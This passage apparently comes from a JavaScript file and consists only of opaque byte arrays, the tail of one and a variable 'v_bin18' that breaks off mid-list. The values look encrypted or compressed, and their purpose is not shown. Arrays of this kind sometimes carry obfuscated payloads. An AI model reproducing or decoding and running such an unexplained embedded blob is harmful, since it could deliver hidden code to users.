136,201,4,59,8,52,118,89,48,238,143,225,31,174,44,28,133,145,6,143,153,84,151,249,25,53,28,74,38,123,187,210,52,253,150,136,21,80,23,183,19,198,40,113,108,179,5,126,31,45,105,41,158,193,227,205,8,171,103,146,65,23,91,88,252,60,1,199,255,18,119,7,154,155,147,22,213,149,100,59,189,149,97,103,197,147,168,211,215,180,198,168,101,149,22,85,22,85,188,174,204,78,24,23,95,62,90,245,196,76,117,7,193,64,114,247,15,228,129,163,111,40,180,205,162,79,81,144,51,33,246,53,180,236,9,242,137,60,123,202,137,62,41,247,176,179,63,151,23,237,164,75,206,56,84,94,85,50,62,74,255,3,171,136,47,189,211,150,171,139,230,101,194,46,113,187,65,225,73,1,133,166,35,100,56,234,8,214,91,223,51,13,56,21,154,198,97,136,109,25,222,32,232,14,200,214,255,214,235,19,227,136,241,243,105,195,45,233,103,253,187,222,41,132,92,28,22,178,189,231,18,43,96,207,213,89,29,196,85,39,206,46,77,84,249,105,152,127,152,178,5,99,176,200,236,243,76,164,165,209,190,242,142,78,0,35,85,91,32,17,53,212,61,62,68,210,217,134,194,122,198,14,35,234,209,118,42,42,207,25,67,154,246,37,185,219,140,209,133,96,111,34,44,200,106,119,22,219,151,120,146,197,178,13,218,42,12,162,174,125,86,222,208,13,254,146,251,218,60,11,65,248,3,135,195,178,150,55,144,255,194,221,5,95,14,187,238,223,149,169,164,127,36,222,162,2,90,185,155,71,70,251,3,27,204,215,177,127,231,82,39,177,9,70,209,147,151,124,164,110,69,142,195,26,234,68,7,124,45,194,74,249,112,85,246,117,151,134,179,49,133,240,72,102,222,90,251,197,72,27,246,93,217,251,161,91,118,17,238,59,148,242,92,160,45,200,28,89,194,173,215,200,234,61,7,22,249,185,200,118,59,31,210,42,209,213,238,168,79,53,115,16,116,104,43,132,54,249,142,210,105,96,126,237,47,203,140,51,90,43,98,248,126,162,33,119,158,249,84,121,36,170,28,86,239,140,8,26,129,225,244,213,108,79,251,67,233,94,250,54,127,193,157,47,197,154,102,202,81,197,21,255,97,86,100,247,244,214,110,50,240,9,34,241,30,255,251,103,123,209,67,194,99,227,105,13,125,191,49,17,6,172,201,227,164,172,218,207,91,236,168,36,239,209,24,57,223,226,189,8,46,194,114,224,129,136,166,245,252,165,84,255,35,180,43,83,194,137,218,93,76,221,113,178,175,220,124,168,239,143,253,129,91,50,211,241,53,112,23,190,6,234,209,94,173,195,2,138,215,117,109,89,221,206,181,248,141,198,199,21,152,174,106,86,173,228,9,220,204,109,214,58,58,191,193,189,15,55,197,244,85,236,145,120,230,65,221,8,89,45,202,109,134,37,217,192,164,248,147,240,231,148,240,103,116,184,33,222,190,51,96,3,225,109,53,62,89,221,125,19,32,18,12,127,223,85,233,15,124,148,183,236,101,75,148,62,217,155,220,47,8,145,237,136,216,150,76,87,21,104,143,92,219,156,90,47,4,244,95,57,102,216,3,126,1,195,96,68,133,119,139,92,53,87,30,178,138,89,197,14,10,221,61,185,218,45,85,30,220,146,214,221,245,5,193,177,95,249,184,79,116,4,130,96,41,162,183,127,23,35,151,93,206,25,11,226,125,15,154,0,13,193,207,186,173,154,159,29,141,198,96,173,16,149,37,65,141,253,206,203,150,51,175,63,204,251,247,55,224,20,234,131,236,138,223,33,214,93,95,56,61,99,8,104,147,249,71,247,219,159,17,7,24,127,47,133,236,215,212,159,165,43,121,185,115,111,31,19,213,170,45,110,70,181,189,119,238,251,64,72,86,75,39,174,216,138,186,68,67,173,134,67,6,133,241,78,70,33,6,27,232,168,215,158,230,131,172,63,140,125,147,202,158,161,246,221,163,8,40,39,58,159,115,180,62,118,7,174,15,166,192,249,68,71,192,194,183,35,20,249,231,63,140,191,57,151,182,84,206,204,189,244,106,90,32,0,228,206,228,104,106,34,25,77,237,246,59,214,178,69,106,151,236,100,199,188,146,90,20,244,244,235,41,49,251,135,44,1,34,130,151,186,16,142,174,28,140,197,195,183,156,215,59,207,6,128,136,200,194,129,217,164,136,52,60,178,147,120,134,7,189,248,85,175,136,12,96,129,148,126,124,45,11,188,34,171,2,68,143,190,43,7,52,248,188,200,234,183,73,82,239,99,67,75,93,220,200,182,163,103,243,74,255,120,157,40,183,170,213,185,119,86,230,227,17,234,125,3,208,6,238,152,122,226,49,113,26,186,116,66,219,170,252,111,92,248,154,158,33,196,239,237,67,241,191,29,181,83,142,43,93,163,22,180,64,164,187,54,168,235,59,199,76,98,200,220,115,71,30,118,157,242,36,93,237,27,148,137,168,78,85,76,82,92,44,191,212,108,28,226,101,235,36,189,51,81,241,162,152,128,18,251,90,150,225,200,229,96,141,18,228,142,95,231,248,11,78,130,171,93,104,158,158,52,201,74,73,117,237,186,131,61,93,98,55,127,35,13,78,85,29,163,61,214,238,109,185,37,182,150,55,128,9,164,181,10,73,120,198,181,139,73,72,27,244,18,150,20,56,234,87,214,245,138,7,123,50,30,24,216,61,31,217,13,252,9,185,199,66,11,179,149,187,146,82,179,54,235,132,62,99,248,23,237,164,246,161,229,3,229,99,65,50,89,189,0,216,254,212,31,197,191,248,184,23,79,13,58,219,54,42,142,154,127,61,8,163,253,181,55,169,7,110,75,188,195,46,136,209,75,9,205,19,157,73,124,151,183,108,203,242,121,65,61,194,222,127,51,233,183,72,164,92,186,165,75,253,105,41,141,101,76,163,96,153,122,200,15,53,37,201,160,81,233,107,238,93,145,140,156,71,207,152,25,241,26,11,168,12,130,40,209,123,113,80,241,69,255,34,106,183,181,188,73,208,188,150,10,150,178,127,83,247,113,227,136,241,149,204,164,172,25,162,97,167,69,70,22,202,139,168,78,149,87,9,153,49,118,49,179,237,90,74,139,109,152,249,12,24,36,63,212,191,15,222,103,237,169,229,227,32,69,26,16,8,181,115,68,169,146,122,172,46,229,197,62,129,109,168,61,149,66,79,227,116,225,140,131,214,118,90,148,99,116,143,56,54,198,213,181,127,25,16,222,131,92,121,252,59,147,205,6,211,136,158,5,245,90,98,211,167,50,14,251,81,44,86,244,220,187,247,50,129,232,227,67,45,18,127,59,161,152,6,183,62,174,197,236,99,166,4,98,25,201,45,45,36,208,124,115,70,201,110,31,57,10,195,147,101,12,93,157,219,134,22,147,27,229,108,183,26,144,143,243,103,32,197,22,28,72,187,229,16,129,87,247,208,163,197,196,193,181,117,212,78,184,96,246,44,36,43,206,144,172,226,169,135,241,88,251,100,145,78,4,125,76,115,40,35,36,84,132,160,66,238,65,137,197,138,35,155,245,38,95,29,23,143,132,20,124,61,35,2,163,56,73,94,157,136,136,182,95,184,29,120,118,218,135,39,152,194,140,171,87,223,120,248,162,147,229,152,100,123,6,94,3,122,13,120,108,208,64,41,225,155,17,158,33,247,138,2,37,117,48,17,104,86,218,181,41,98,99,237,242,178,41,25,238,97,165,198,205,86,227,232,101,76,54,189,233,47,165,120,161,51,246,151,81,85,71,199,66,8,64,80,248,142,226,232,45,83,165,109,52,26,128,173,78,4,7,204,174,242,74,229,182,241,85,131,98,32,240,229,237,82,116,117,35,86,78,224,75,164,11,1,114,0,251,93,200,188,73,122,144,138,145,172,34,235,18,9,184,20,161,11,123,155,160,18,56,252,56,206,27,54,244,9,64,92,249,241,43,171,12,112,115,239,81,31,148,186,188,131,157,15,173,4,94,223,95,98,22,120,189,44,85,238,98,63,204,107,23,149,208,249,137,248,11,93,17,217,1,90,136,129,79,255,95,209,174,83,230,56,20,207,206,185,245,206,2,190,13,231,29,227,91,13,34,202,48,73,7,55,97,252,182,44,74,110,241,215,41,29,228,248,183,61,104,203,176,149,50,151,30,101,215,205,52,109,186,53,179,244,7,19,45,18,25,107,104,21,114,105,123,107,198,158,73,87,131,194,65,197,162,247,92,235,99,220,127,82,201,48,59,84,184,174,239,148,1,67,226,101,45,16,24,247,113,226,103,176,167,101,110,178,49,116,144,146,244,17,45,14,202,221,73,141,11,180,88,241,235,87,55,146,147,100,233,119,146,171,54,220,160,95,4,205,49,3,146,20,36,219,125,86,177,79,195,99,84,137,130,43,239,20,11,165,96,83,69,169,17,241,246,97,121,77,63,61,117,241,155,150,115,251,161,45,95,176,235,158,58,135,96,36,16,179,242,143,153,15,86,52,186,30,84,82,156,197,237,240,103,130,107,21,98,218,43,166,67,232,134,170,246,126,248,56,120,6,20,252,62,236,37,190,196,218,131,143,137,207,7,192,242,170,105,94,249,171,244,179,229,176,66,170,18,163,143,39,101,238,219,221,171,246,84,186,39,222,195,69,208,6,216,126,176,110,38,54,25,245,160,101,101,54,42,196,61,186,85,178,84,192,133,253,147,94,34,55,246,112,69,235,94,215,72,249,66,128,111,140,233,112,87,28,57,226,3,208,147,98,119,209,240,213,224,207,133,59,109,239,122,68,227,131,252,24,87,46,184,66,123,124,99,107,138,165,44,87,135,2,180,152,213,121,30,5,151,202,248,2,51,35,108,170,176,251,134,203,87,226,227,233,126,82,140,230,187,147,243,148,63,163,33,23,229,158,236,63,25,197,211,248,166,221,177,63,13,138,169,77,165,6,210,2,182,207,83,238,83,235,79,15,166,68,53,239,138,216,138,159,215,76,230,247,172,107,197,84,140,128,64,34,116,224,99,207,54,123,184,108,151,2,118,226,210,52,108,245,34,193,22,48,31,253,57,249,145,80,199,121,97,85,112,2,181,44,74,149,120,154,45,119,215,34,148,30,141,115,15,91,105,10,202,200,217,145,8,77,157,87,77,11,34,89,17,99,175,8,127,216,131,41,146,213,4,171,223,49,251,215,75,217,180,152,86,180,29,136,226,37,196,138,43,142,10,201,252,139,101,196,204,10,208,129,205,206,100,94,78,24,138,158,242,177,179,175,71,231,146,17,180,62,204,187,58,107,0,169,101,34,220,164,196,216,141,203,161,135,74,246,245,134,149,111,183,150,30,0,64,68,190,240,2,178,90,72,114,128,44,202,196,64,152,5,110,140,25,57,202,56,131,72,2,87,93,205,18,142,214,199,160,77,164,111,46,135,123,99,16,240,191,177,253,78,82,45,211,214,109,72,203,112,132,58,153,199,228,149,136,122,10,101,236,54,188,165,174,236,14,43,121,221,224,205,87,27,6,252,214,238,23,129,60,65,251,135,3,2,243,5,149,254,195,178,146,10,218,166,203,198,239,202,119,122,127,156,228,74,154,54,220,183,185,32,55,27,176,240,52,207,212,207,91,61,225,23,105,51,48,48,228,226,102,111,197,217,12,105,113,68,30,222,34,218,139,69,89,253,62,9,72,63,233,81,95,29,218,36,186,163,28,75,158,200,218,195,42,206,64,71,49,139,209,203,32,115,28,233,190,63,38,124,2,250,178,233,164,3,88,62,39,155,124,109,80,93,58,114,105,127,20,31,95,219,135,27,164,121,142,139,166,62,177,22,141,154,144,104,239,210,26,2,115,189,215,254,5,245,192,245,249,168,221,7,84,171,191,213,145,13,253,38,63,188,155,254,225,24,158,179,103,249,152,159,179,239,95,37,42,239,244,100,159,211,136,37,214,205,212,37,128,28,94,150,47,249,50,161,118,96,5,38,107,24,71,238,176,44,246,154,48,124,76,223,93,221,127,133,50,8,65,217,199,211,183,157,194,103,201,71,67,194,158,197,198,64,199,170,139,40,110,247,79,215,67,165,218,143,43,224,20,120,27,114,183,51,145,181,56,87,224,248,1,120,40,69,51,146,248,217,206,19,93,208,73,17,1,81,45,125,178,158,38,130,255,239,15,30,171,85,176,36,16,139,229,142,255,32,101,22,160,192,135,97,3,90,223,18,84,251,82,231,152,58,124,76,157,241,226,111,134,79,199,44,111,4,90,184,25,159,195,227,246,133,14,165,110,127,79,237,199,234,12,194,190,127,199,23,209,72,249,219,152,15,252,134,10,36,19,134,181,5,28,251,213,250,152,139,73,130,144,159,176,142,12,158,147,227,223,18,214,102,170,142,216,209,180,49,35,40,20,216,184,207,46,158,224,70,186,101,148,221,139,191,106,60,16,235,49,41,215,96,72,43,68,4,166,9,109,20,230,109,175,240,2,147,123,114,7,130,8,124,142,243,87,44,145,157,32,59,41,210,109,38,156,185,217,119,194,16,134,208,231,34,34,227,169,118,154,222,20,209,215,254,148,181,3,91,141,215,184,192,82,173,89,127,28,84,53,136,33,53,99,59,205,87,195,116,235,111,0,33,102,7,142,254,78,176,251,185,235,146,253,66,47,100,254,175,144,52,201,30,85,178,160,156,8,27,0,242,53,9,56,51,89,126,89,79,31,16,221,161,130,33,197,41,168,147,176,42,105,26,106,128,143,156,86,5,37,9,191,151,179,191,122,52,202,44,28,207,202,145,99,159,226,11,107,79,238,51,212,124,241,36,17,203,90,56,213,92,5,213,68,131,230,152,71,36,95,211,145,151,218,210,64,238,121,97,51,137,172,61,255,140,243,126,240,102,108,140,56,180,208,72,159,84,79,240,97,140,247,146,110,98,127,138,76,221,149,112,18,15,213,105,220,251,238,185,97,41,170,20,151,54,212,82,159,111,192,74,73,30,237,85,79,56,132,109,184,254,145,76,52,119,158,146,243,157,48,190,6,207,156,121,0,233,191,125,122,123,244,68,20,36,185,228,84,25,67,239,208,224,138,146,59,249,100,56,15,246,185,211,102,252,102,189,24,186,238,254,105,146,217,76,188,103,44,46,12,145,172,11,164,192,162,243,89,91,160,117,54,72,111,37,136,77,25,128,231,8,170,34,102,83,71,11,12,43,245,21,238,199,160,99,70,159,170,66,41,92,177,164,180,148,63,18,171,85,237,115,96,48,178,202,5,14,138,130,186,119,246,254,126,80,19,47,85,50,64,160,222,46,172,250,244,18,140,249,143,143,178,61,192,54,97,254,127,81,87,147,64,37,171,42,153,2,106,222,176,97,254,85,166,111,53,142,127,165,169,159,121,26,177,120,168,254,224,225,189,100,46,185,27,74,217,237,81,82,28,112,102,63,33,230,104,119,227,17,30,22,97,210,124,99,241,9,160,28,31,223,31,229,198,241,82,177,188,231,117,161,172,90,157,56,213,110,45,39,48,174,105,182,212,142,221,139,233,110,120,33,191,215,95,17,104,150,204,83,6,62,15,172,80,16,0,179,51,151,38,24,69,109,173,78,133,176,193,112,161,179,78,9,20,49,149,94,185,100,237,229,15,174,105,86,80,253,32,152,124,143,42,148,96,129,229,9,92,37,81,184,11,101,24,11,76,98,19,61,109,203,100,144,214,100,211,24,144,122,26,18,146,195,251,170,212,210,79,63,77,167,252,230,69,35,22,215,176,113,37,143,157,67,111,175,213,181,197,30,119,5,12,85,92,171,94,106,60,48,158,229,183,56,81,147,5,78,130,152,255,207,39,23,177,154,100,99,55,210,201,212,111,215,9,242,80,35,249,0,189,81,233,169,131,204,235,192,30,158,84,235,230,132,114,20,133,190,166,44,229,18,9,171,178,242,102,117,68,218,177,167,160,194,134,254,231,63,204,172,21,183,126,181,201,246,30,180,227,214,151,241,29,207,10,221,100,249,247,78,147,9,154,202,180,232,199,188,159,207,29,205,65,156,175,230,173,29,65,214,138,32,191,222,26,93,57,175,55,186,140,41,196,40,107,44,172,72,174,47,195,230,118,27,94,192,234,54,248,116,185,58,119,60,224,43,249,133,58,218,194,133,172,179,185,95,143,152,96,149,153,23,222,63,180,15,160,227,247,210,34,63,96,65,246,0,196,217,72,72,64,122,3,143,174,163,67,96,52,50,211,209,148,40,115,131,152,48,249,214,236,139,88,244,52,169,110,117,203,175,69,72,128,108,205,104,179,87,183,163,202,229,250,117,129,41,228,10,39,246,132,136,208,86,206,51,81,243,113,221,57,249,63,2,115,78,195,36,90,19,183,81,39,73,45,164,252,216,79,66,8,242,99,7,209,45,237,155,33,223,93,129,87,152,154,20,101,170,209,226,160,78,237,125,127,146,50,193,144,139,55,29,53,243,101,201,27,174,37,89,30,165,254,95,235,48,120,74,180,197,119,28,157,82,124,165,210,182,250,3,147,174,230,245,77,205,242,118,167,193,95,239,39,182,188,75,31,73,29,182,169,37,107,225,166,236,2,181,75,2,213,133,212,172,195,130,193,246,94,52,112,71,31,52,203,221,205,35,232,90,17,134,22,163,239,189,207,208,104,41,90,148,91,238,67,207,12,162,209,40,48,36,79,78,100,192,213,126,234,9,249,16,172,80,12,109,212,226,182,48,25,183,252,143,41,154,40,130,16,81,213,162,56,4,228,202,106,245,169,126,200,214,3,240,190,72,62,205,70,32,146,241,215,209,227,188,81,201,55,219,194,41,18,107,68,137,60,253,44,12,243,28,43,110,73,38,122,37,127,200,180,87,36,127,249,66,206,232,116,77,203,162,17,141,220,133,80,207,80,40,192,133,198,214,12,216,96,185,230,29,181,166,89,167,55,109,221,106,164,177,115,187,255,206,97,137,142,230,50,24,73,242,21,38,177,108,33,135,122,96,6,175,101,204,4,49,121,206,88,205,161,151,76,198,197,141,206,140,49,219,255,210,127,132,149,122,193,92,229,34,155,166,95,178,94,65,250,143,55,219,34,152,151,174,134,137,158,88,125,158,114,175,126,68,231,131,21,192,157,27,156,117,57,197,252,248,126,146,23,224,142,124,28,190,41,117,97,242,79,57,124,90,125,60,143,51,147,181,127,174,55,234,33,222,154,29,47,68,248,157,96,176,132,255,196,31,194,161,72,194,246,199,13,128,4,124,72,172,188,234,148,16,198,18,217,1,45,123,77,183,111,158,100,10,78,245,207,80,20,28,87,16,255,27,218,20,77,71,243,178,5,145,181,214,174,184,29,84,66,70,92,31,47,15,64,66,241,213,92,86,120,150,187,217,81,132,249,175,5,19,24,235,119,155,88,195,224,4,196,193,149,147,22,191,157,205,5,128,191,193,249,134,163,177,243,236,243,233,250,226,229,117,25,237,55,234,140,149,186,225,1,10,41,152,74,106,188,96,171,248,153,67,13,172,251,64,162,69,198,250,130,5,58,64,161,169,134,201,9,226,102,179,215,116,210,244,206,13,43,212,221,74,51,139,164,116,95,45,83,124,55,77,2,66,41,161,164,147,62,61,46,136,149,119,181,12,227,154,219,61,173,37,72,83,6,205,204,233,163,111,82,142,68,119,203,46,46,22,63,203,3,217,227,173,255,97,92,133,53,111,131,25,90,202,228,133,171,50,217,229,188,2,218,248,184,192,230,170,135,4,19,56,246,207,90,122,71,64,134,153,117,7,169,196,82,54,57,2,181,251,172,31,222,252,34,92,249,51,71,209,110,168,35,36,4,99,163,202,180,208,38,95,240,16,25,244,20,219,15,115,239,42,219,211,28,211,137,172,129,59,19,159,120,184,96,145,209,79,247,82,174,247,140,172,43,135,129,11,21,193,254,249,193,173,199,254,134,3,219,115,180,195,91,218,8,211,81,37,123,148,78,210,83,124,31,224,176,130,206,66,152,190,26,162,254,74,72,195,177,104,123,232,53,28,143,207,176,27,45,176,234,162,28,140,146,147,155,97,128,34,100,107,128,176,67,84,71,145,66,159,131,188,228,30,215,4,26,137,59,124,126,222,190,135,108,111,151,113,166,142,21,93,123,187,51,140,140,70,91,228,123,205,243,239,186,245,191,67,157,143,70,199,143,228,127,90,20,95,204,76,45,190,127,9,87,230,13,243,231,79,111,163,29,241,206,135,226,28,27,7,149,147,37,65,171,43,203,191,230,178,53,238,206,98,234,248,172,100,74,14,78,94,106,229,208,238,83,183,106,10,233,13,156,134,19,163,15,240,170,167,188,133,189,34,197,115,73,81,111,195,248,195,7,175,102,82,140,143,96,187,248,183,216,177,37,35,143,26,226,220,154,133,236,221,80,92,65,216,73,175,157,200,152,244,92,112,18,164,108,23,204,231,247,3,201,52,33,25,220,135,140,16,111,145,154,116,129,44,202,235,160,181,11,161,70,186,72,228,154,155,200,88,186,214,108,217,87,66,161,220,69,129,128,238,64,102,170,22,46,199,31,88,99,151,149,49,124,249,155,72,100,107,238,121,114,39,14,251,103,222,122,40,201,88,126,141,154,204,118,73,16,208,80,43,32,221,38,73,78,91,126,137,152,168,157,122,195,23,178,202,165,223,22,210,211,100,94,224,181,16,149,178,55,225,34,135,95,140,170,6,221,173,99,9,115,218,40,118,96,25,103,44,50,201,69,117,199,76,162,197,138,209,225,108,221,135,15,188,152,164,229,136,138,63,112,59,188,233,60,214,251,183,200,126,132,209,156,74,86,122,70,138,202,191,55,7,26,130,5,32,94,101,146,119,107,205,166,2,183,34,15,134,1,200,107,145,209,3,171,18,241,21,9,48,141,183,11,133,74,19,19,137,151,110,42,49,166,16,7,99,172,84,191,173,179,25,26,231,234,22,167,131,37,241,107,168,67,145,52,14,72,190,53,122,160,232,98,35,69,44,116,176,88,204,77,223,243,63,50,144,65,110,17,32,237,188,153,95,149,211,69,53,227,113,249,250,77,81,86,94,102,207,247,78,46,167,43,205,82,3,118,77,109,253,140,98,244,58,112,207,151,33,30,149,232,73,122,129,232,233,32,191,231,90,168,36,2,12,185,47,152,8,116,133,36,37,254,16,222,237,129,228,67,221,31,157,61,221,180,77,44,75,255,43,204,219,181,100,66,144,151,76,76,235,158,235,52,139,113,128,24,55,228,150,197,63,159,103,132,208,149,164,167,73,171,174,20,144,115,143,96,209,104,150,173,217,229,222,189,25,196,133,156,160,85,157,43,56,199,250,24,250,37,247,34,246,57,39,185,64,134,227,92,152,122,151,41,97,107,119,80,133,217,121,247,212,62,164,219,173,30,131,27,74,16,249,252,248,11,115,18,170,181,144,60,186,100,38,104,57,184,185,128,86,217,154,124,125,178,40,87,88,126,242,22,69,25,73,71,134,120,100,17,100,196,27,251,227,51,165,215,185,6,126,81,45,121,177,140,231,245,174,124,161,124,104,69,213,19,163,43,38,238,215,164,176,132,71,183,167,6,10,152,156,147,75,86,159,157,158,123,191,44,163,82,101,48,130,245,79,105,206,143,219,122,170,93,170,69,145,222,82,104,158,23,183,148,59,20,14,175,208,81,107,144,159,170,172,246,173,145,99,197,36,26,19,218,243,240,72,121,238,181,239,9,33,142,71,39,181,229,127,42,188,3,99,165,197,195,102,7,249,209,243,118,99,103,172,102,86,86,179,103,232,39,42,55,96,206,29,243,224,132,108,206,139,68,11,41,186,87,161,47,196,50,34,125,185,53,250,87,152,143,199,117,76,24,151,247,42,24,1,174,88,114,236,131,208,98,68,102,16,1,232,79,86,103,233,220,152,128,43,181,101,65,212,48,56,217,209,251,26,2,146,132,29,6,201,104,81,38,9,154,94,148,76,168,50,83,164,175,3,152,119,48,170,188,139,115,158,224,93,28,134,193,196,91,194,242,189,115,151,10,53,137,128,9,127,40,2,80,172,86,189,5,17,128,196,25,93,55,217,68,98,115,208,188,61,57,21,167,21,133,211,12,177,249,128,90,211,162,52,5,74,89,79,148,131,142,222,93,127,38,126,131,234,72,103,196,62,98,9,233,94,13,40,122,131,107,250,93,225,156,74,135,2,188,230,101,67,224,188,228,93,35,42,100,85,5,37,203,3,237,160,255,188,118,113,49,242,217,154,142,134,170,17,69,29,73,138,84,226,152,196,7,82,27,145,116,248,206,77,112,230,62,69,199,180,138,10,101,181,62,225,14,121,98,233,167,160,219,10,181,34,40,121,248,123,197,125,46,194,127,50,188,215,245,156,76,159,100,93,186,222,231,210,145,103,18,239,134,101,217,34,113,162,254,123,142,78,122,141,162,124,113,200,33,244,116,132,71,35,148,51,101,143,208,235,226,192,75,39,4,248,172,79,184,58,239,247,119,84,143,244,207,190,0,224,61,116,152,237,79,239,134,112,230,246,222,160,51,39,179,71,241,252,89,226,8,142,6,130,212,131,100,239,171,142,93,138,210,36,168,11,10,11,104,185,19,173,41,130,143,2,132,93,140,247,220,90,249,170,80,122,38,56,52,23,211,5,14,132,159,24,44,130,150,8,118,190,55,71,51,119,36,142,217,64,218,209,35,244,254,90,230,107,138,11,245,137,198,224,151,147,158,21,53,141,205,226,105,17,129,99,122,15,141,177,111,43,174,105,1,51,152,122,22,99,115,215,111,141,207,159,153,61,88,80,250,187,138,172,38,214,8,56,173,132,199,254,20,193,3,174,81,5,28,209,187,20,95,150,168,166,242,43,151,227,70,202,166,62,14,220,229,138,218,120,242,92,224,76,172,230,106,204,102,132,13,38,72,99,105,176,87,99,94,22,43,17,229,56,133,183,100,188,92,115,60,138,107,189,45,88,199,30,18,177,75,68,166,48,111,239,181,209,66,76,183,225,125,126,38,36,16,251,113,200,182,165,146,153,181,108,12,200,213,69,6,37,126,83,89,87,247,172,50,197,130,106,247,42,31,232,170,202,95,117,91,68,151,230,130,192,137,187,223,17,185,13,43,128,105,29,199,199,169,69,44,78,28,130,220,249,129,190,71,134,32,45,131,209,66,237,44,7,83,153,229,148,135,71,113,20,41,175,52,42,46,71,232,241,141,64,208,63,216,248,51,212,221,73,19,35,64,121,246,33,93,216,16,116,174,26,109,120,65,144,39,61,0,59,216,66,158,158,48,146,217,217,194,85,224,101,159,94,153,30,171,80,13,146,189,241,145,144,176,9,161,163,42,236,130,53,181,15,129,80,47,164,131,232,183,166,184,174,25,178,127,247,150,196,104,190,143,155,163,165,165,124,125,72,95,179,33,12,52,105,197,44,220,139,65,34,191,104,99,245,55,125,2,103,8,172,167,247,178,3,21,226,41,248,223,95,149,193,103,216,127,88,81,10,13,28,134,152,36,20,97,165,195,236,51,123,75,129,252,195,121,222,46,56,138,154,147,254,53,117,178,123,236,168,250,127,207,226,39,116,109,164,150,42,149,43,124,222,184,4,204,52,174,103,31,174,36,79,125,125,86,24,103,247,34,187,23,252,165,58,255,217,247,245,167,70,19,22,189,25,210,108,178,31,16,89,116,19,42,196,44,81,124,4,87,188,194,198,118,226,227,110,111,98,237,133,139,233,252,209,225,237,194,158,91,16,59,159,105,210,120,181,190,65,245,97,16,72,139,72,214,25,32,21,120,229,166,195,19,171,124,9,20,183,170,39,239,49,163,162,48,143,84,71,77,249,23,26,88,53,96,118,111,253,94,31,202,1,239,49,65,214,242,181,201,48,146,114,146,140,144,136,132,91,218,113,179,182,91,91,163,93,63,249,87,183,18,72,146,14,202,23,194,219,29,109,165,14,192,100,183,25,119,161,218,151,117,60,113,94,137,17,214,21,69,61];
var v_bin18 = [150,195,186,238,23,148,32,110,108,16,168,1,68,116,233,100,203,230,188,102,116,205,247,164,106,30,168,6,67,132,227,228,74,158,99,11,224,85,213,219,68,127,55,53,0,141,205,67,155,211,38,41,176,227,172,40,153,101,191,207,85,12,39,121,188,136,72,116,108,139,54,253,241,215,9,109,120,30,154,92,59,225,38,166,110,197,249,193,201,12,15,149,211,136,212,127,177,168,15,62,77,188,102,8,250,222,209,189,101,79,163,82,254,236,130,88,98,154,69,235,109,232,106,126,120,56,243,228,121,6,51,160,98,151,57,146,35,88,196,171,103,240,55,208,13,65,66,32,58,51,252,207,122,67,0,179,225,158,201,132,235,5,166,118,221,72,89,218,155,151,234,199,204,167,227,142,227,246,133,169,126,193,12,245,125,222,166,153,23,217,195,185,230,83,44,62,230,243,182,180,81,109,242,216,162,71,22,83,15,139,217,183,48,53,220,75,215,36,37,121,32,78,62,189,54,157,72,17,162,212,210,206,194,204,126,164,19,137,225,73,239,67,66,147,237,223,123,145,127,243,198,68,17,77,155,16,174,125,125,25,48,149,253,153,81,243,247,193,174,205,171,194,132,101,111,20,138,119,5,150,193,32,23,170,63,20,23,134,66,0,78,50,165,71,56,94,29,185,220,165,128,151,203,51,76,204,48,238,213,58,23,73,87,131,208,156,137,226,249,219,169,54,24,170,67,24,214,204,154,117,42,18,67,33,208,222,5,171,125,244,238,0,103,202,61,254,191,199,31,55,200,117,0,119,222,0,245,172,36,61,145,222,236,86,106,2,113,62,108,134,25,39,13,97,45,106,51,223,130,164,110,91,47,96,7,37,188,82,83,124,135,112,125,121,212,26,108,187,159,80,142,241,94,200,98,0,254,227,77,86,241,207,55,103,121,59,30,75,160,210,250,205,51,123,171,28,23,128,39,73,51,11,177,245,111,179,171,227,173,159,230,176,233,152,0,88,240,196,98,79,219,191,70,96,168,121,142,221,149,253,106,54,98,27,119,106,218,16,149,15,189,149,151,180,101,29,97,127,10,96,238,21,38,183,68,58,119,21,33,95,91,253,61,158,242,46,174,133,195,65,59,53,137,126,5,141,84,48,130,184,52,31,72,234,129,18,102,155,139,15,160,174,187,139,39,21,135,89,157,16,37,186,239,115,86,132,79,113,75,194,16,43,163,160,127,64,85,227,151,159,174,137,196,39,175,201,214,41,216,8,253,163,90,16,128,169,147,150,93,190,227,239,210,196,67,55,78,132,1,176,239,114,144,23,47,10,154,99,11,51,76,2,78,25,212,164,103,221,87,244,6,189,225,142,70,223,94,109,251,35,108,211,143,118,179,230,250,2,132,244,171,173,231,247,40,214,221,226,72,34,39,14,6,195,241,158,239,178,83,70,93,163,104,86,41,112,176,1,89,182,222,153,214,76,44,161,61,182,6,111,164,151,72,196,51,191,73,34,41,15,23,234,22,143,29,7,161,178,183,142,226,139,247,211,3,185,217,171,130,222,85,41,120,150,180,108,241,204,102,237,67,51,49,149,45,113,56,65,192,7,43,137,130,227,21,248,206,99,41,218,21,191,64,39,129,220,72,117,193,203,196,176,233,84,221,84,116,31,35,143,15,197,54,102,127,201,181,255,77,250,222,3,176,52,207,137,107,24,124,231,118,128,137,245,13,234,187,195,103,215,112,59,175,98,76,12,167,87,191,239,236,118,120,105,144,39,81,106,225,196,65,23,110,125,94,170,117,214,148,40,59,234,173,213,30,97,82,54,187,184,227,223,173,94,213,210,196,20,135,82,63,137,11,4,16,42,127,185,90,226,74,130,149,89,162,222,216,112,231,75,64,201,234,77,49,75,10,236,21,114,141,102,55,215,128,117,84,169,15,231,44,134,209,117,77,12,63,196,211,122,178,156,197,210,5,229,7,15,192,230,100,150,33,253,200,139,10,78,75,238,83,91,99,101,145,160,13,6,241,153,235,143,167,212,205,166,252,230,2,61,207,69,17,114,23,108,114,251,226,146,21,251,233,248,4,134,16,245,244,33,74,254,81,28,192,194,1,59,104,101,47,239,201,225,150,144,116,90,168,184,200,95,180,74,248,210,54,202,45,157,141,125,136,219,205,241,82,17,62,95,111,232,144,246,215,198,150,40,232,204,24,144,94,179,116,174,49,194,228,98,240,203,94,43,241,127,97,198,99,139,171,129,236,43,103,77,195,157,251,218,254,3,161,13,166,201,41,255,116,244,126,211,229,143,141,241,33,16,108,220,178,23,166,155,120,21,4,55,145,199,83,224,184,37,247,52,226,0,30,25,13,13,18,148,35,153,169,110,37,122,214,83,238,207,9,176,44,241,47,64,140,78,47,238,63,3,63,74,170,136,244,65,183,201,31,142,251,220,241,18,57,15,146,134,73,217,112,127,25,160,34,227,147,18,198,92,20,50,248,51,122,254,136,22,238,230,232,232,89,47,212,229,31,145,231,174,93,26,101,220,106,190,208,2,14,253,214,1,190,48,247,14,165,172,242,39,53,160,232,204,177,187,66,225,84,115,240,209,99,52,172,134,73,210,189,70,93,163,160,102,132,203,226,26,156,255,46,248,198,27,89,161,115,162,83,210,113,122,19,109,236,24,29,122,129,206,24,25,95,109,83,54,197,178,220,2,41,180,127,13,54,214,144,25,216,190,106,160,42,56,193,70,